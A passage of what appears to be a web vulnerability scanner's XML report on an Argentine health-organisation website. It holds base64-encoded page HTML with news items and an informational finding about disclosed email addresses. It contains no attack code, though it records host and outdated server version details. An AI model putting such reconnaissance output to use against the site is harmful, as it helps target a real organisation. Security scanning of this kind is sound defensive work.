tZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
254 <responseRedirected>false</responseRedirected>
255 </requestresponse>
256 </issue>
257 <issue>
258 <serialNumber>497905397226519552</serialNumber>
259 <type>6291968</type>
260 <name>Email addresses disclosed</name>
261 <host ip="200.20.20.201">http://www.example.org.ar</host>
262 <path><![CDATA[/donaciones/]]></path>
263 <location><![CDATA[/donaciones/]]></location>
264 <severity>Information</severity>
265 <confidence>Certain</confidence>
266 <issueBackground><![CDATA[The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.<br><br>However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.]]></issueBackground>
267 <remediationBackground><![CDATA[You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as [email protected]).]]></remediationBackground>
268 <issueDetail><![CDATA[The following email address was disclosed in the response:<ul><li>[email protected]</li></ul>]]></issueDetail>
269 <requestresponse>
270 <request base64="true"><![CDATA[R0VUIC9kb25hY2lvbmVzLyBIVFRQLzEuMQ0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQ7IFRyaWRlbnQvNS4wKQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0K]]></request>
271 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDAzIEp1bCAyMDEzIDEzOjQ4OjMwIEdNVA0KRVRhZzogImFhZDk2Ny03MTI5LTRlMDliYjc3ZmM3ODAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDI4OTY5DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPHRpdGxlPlNhbHVkIEFjdGl2YTwvdGl0bGU+CjxsaW5rIGhyZWY9ImVzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgo8bGluayBocmVmPSJmb3JtX2ZpbGVzL2VzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPCEtLVtpZiBJRSA2XT4KCQkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkJIEBpbXBvcnQgdXJsKGllNi5jc3MpOwoJCQk8L3N0eWxlPiAKCQk8IVtlbmRpZl0tLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJTY3JpcHRzL3N3Zm9iamVjdF9tb2RpZmllZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5LmN5Y2xlLmFsbC4yLjc0LmpzIj48L3NjcmlwdD4gCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkkKCcjc2xpZGUnKS5jeWNsZSh7IAogICAgCWZ4OiAgICAgJ3Njcm9sbExlZnQnLCAKICAgCSAJc3BlZWQ6ICAxNTAwLCAKICAgIAl0aW1lb3V0OiA2MDAwICwKCQluZXh0OiAgICcjbmV4dCcsIAogICAgCXByZXY6ICAgJyNwcmV2JwoJfSk7Cn0pOwokKGZ1bmN0aW9uKCkKewovL2JvdG9uMQokKCIjYm90b24xIikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzEiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMiwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG80LCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uMSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKLy8kKCIjYm90b24yLCAjYm90b24zLCAjYm90b240LCAjYm90b241IikucmVtb3ZlQ2xhc3MoJ3NlbGVjdCcpLmFkZENsYXNzKCdub3NlbGVjdCcpOwp9KTsKCi8vYm90b24yCiQoIiNib3RvbjIiKS5jbGljayhmdW5jdGlvbihldmVudCkgewpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwokKCIjY29udGVuaWRvMiIpLnNsaWRlVG9nZ2xlKCk7CiQoIiNjb250ZW5pZG8xLCAjY29udGVuaWRvMywgI2NvbnRlbmlkbzQsICNjb250ZW5pZG81Iikuc2xpZGVVcCgpOwokKCIjYm90b24yIikucmVtb3ZlQ2xhc3MoJ25vc2VsZWN0JykuYWRkQ2xhc3MoJ3NlbGVjdCcpOwovLyQoIiNib3RvbjEsICNib3RvbjMsICNib3RvbjQsICNib3RvbjUiKS5yZW1vdmVDbGFzcygnc2VsZWN0JykuYWRkQ2xhc3MoJ25vc2VsZWN0Jyk7Cn0pOwoKLy9ib3RvbjMKJCgiI2JvdG9uMyIpLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7CmV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiQoIiNjb250ZW5pZG8zIikuc2xpZGVUb2dnbGUoKTsKJCgiI2NvbnRlbmlkbzEsIC